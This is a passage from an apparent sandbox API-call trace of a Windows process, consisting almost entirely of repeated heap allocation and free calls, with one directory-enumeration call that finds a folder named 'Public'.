hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018af0 | out: hHeap=0x5b0000) returned 1 [0122.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018ac8 | out: hHeap=0x5b0000) returned 1 [0122.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018aa0 | out: hHeap=0x5b0000) returned 1 [0122.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018cd0 | out: hHeap=0x5b0000) returned 1 [0122.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018cf8 | out: hHeap=0x5b0000) returned 1 [0122.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018d20 | out: hHeap=0x5b0000) returned 1 [0122.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018d48 | out: hHeap=0x5b0000) returned 1 [0122.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018d70 | out: hHeap=0x5b0000) returned 1 [0122.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018d98 | out: hHeap=0x5b0000) returned 1 [0122.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018dc0 | out: hHeap=0x5b0000) returned 1 [0122.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018de8 | out: hHeap=0x5b0000) returned 1 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018e10 | out: hHeap=0x5b0000) returned 1 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018e38 | out: hHeap=0x5b0000) returned 1 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018e60 | out: hHeap=0x5b0000) returned 1 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018e88 | out: hHeap=0x5b0000) returned 1 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018860 | out: hHeap=0x5b0000) returned 1 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018810 | out: hHeap=0x5b0000) returned 1 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddae8 | out: hHeap=0x5b0000) returned 1 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc540 | out: hHeap=0x5b0000) returned 1 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc690 | out: hHeap=0x5b0000) returned 1 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc6c8 | out: hHeap=0x5b0000) returned 1 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307c180 | out: hHeap=0x5b0000) returned 1 [0122.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc6c8 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc658 | out: hHeap=0x5b0000) returned 1 [0122.225] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0122.225] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30186d0 | out: hHeap=0x5b0000) returned 1 [0122.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30186d0 [0122.225] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30186d0 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc620 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018720 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018658 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda58 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018888 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30188b0 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc5b0 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc5e8 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30188d8 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd9c8 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307bd40 | out: hHeap=0x5b0000) returned 1 [0122.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.227] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.231] 